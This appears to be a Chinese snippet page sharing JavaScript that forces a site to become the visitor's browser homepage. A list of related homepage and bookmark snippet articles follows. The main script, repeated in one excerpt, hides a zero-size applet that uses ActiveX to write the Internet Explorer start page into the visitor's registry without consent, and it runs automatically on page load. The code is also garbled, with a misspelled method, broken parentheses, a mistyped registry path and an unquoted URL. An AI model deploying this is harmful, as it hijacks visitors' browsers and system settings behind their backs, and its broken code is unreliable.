用Javascript强制设为首页的代码

javascript|设为首页

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>

  蓝色部分替换为你自己的网址

时间: 2024-08-02 22:29:16

用Javascript强制设为首页的代码的相关文章

JS 强制设为首页的代码_javascript技巧

复制代码 代码如下: <script> var ucook=document.cookie; var user=ucook.indexOF("ilooki="); if(user==-1) { var nowTime=new Date(); document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+&qu

Flash 中&amp;quot;设为首页&amp;quot;代码_Flash As

设为首页 复制代码 代码如下:     on (release) {      getURL("javascript:void(document.links.style.behavior='url(#default#homepage)');void document.links.setHomePage    ('http://www.flash8.net/')", "_self", "POST");      }      注意要将网页中的fla

几种设为首页的代码

设为首页 加入收藏夹,设为首页代码 把以下代码加入<Body>相应位置: <a target=_top href="javascript:window.external.addFavorite('http://www.webjx.com','网页教学网');">加入收藏</a><a  href='#' >设为首页</a> 鼠标指向时提示设为首页 将下列代码插入<body>区中: <A href=http://

关闭页面时提示加入收藏和设为首页js 代码

1. 设为首页 <script type="text/javascript"> function sethome(){ this.style.behavior="url(#default#homepage)"; this.sethomepage("http://www.jzread.com"); return false; } </script> <body onUnload="sethome()"

强制设为首页代码_JavaScript

{script} var ucook=document.cookie; var user=ucook.indexOF("ilooki="); if(user==-1) { var nowTime=new Date(); document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT&q

javascript 强制刷新页面的实现代码_javascript技巧

Javascript刷新页面的几种方法: 1 history.go(0) 2 location.reload() 3 location=location 4 location.assign(location) 5 document.execCommand('Refresh') 6 window.navigate(location) 7 location.replace(location) 8 document.URL=location.href 自动刷新页面的方法: 1.页面自动刷新:把如下代码

设为首页和增加收藏javascript代码

最简单的  代码如下 复制代码 <a  href='#' onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage(window.location.href);">设为首页</a> <a href="javascript:window.external.addFavorite(window.location.href,document.title);"

设为首页和收藏的Javascript代码(亲测兼容IE,Firefox,chrome等浏览器)_javascript技巧

由于chrome,safari,opara 浏览器还未支持自动 "设为首页" & "加入收藏".  所以我们只能try, catch一下, 给个错误提示!  也算完美了. 另外ie中, 很多人也碰到过 它window.external.addFavorite.  时会报错的问题.  所以俺也只好抛出提示信息了. 加入收藏: 复制代码 代码如下: function addFavorite(){    if (document.all){        try{

javascript 设为首页与加入收藏兼容多浏览器代码_javascript技巧

代码: 复制代码 代码如下: <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title>无标题页</title> <script language="javascript" type="text/javascript"> function AddFavorite(sURL, sTi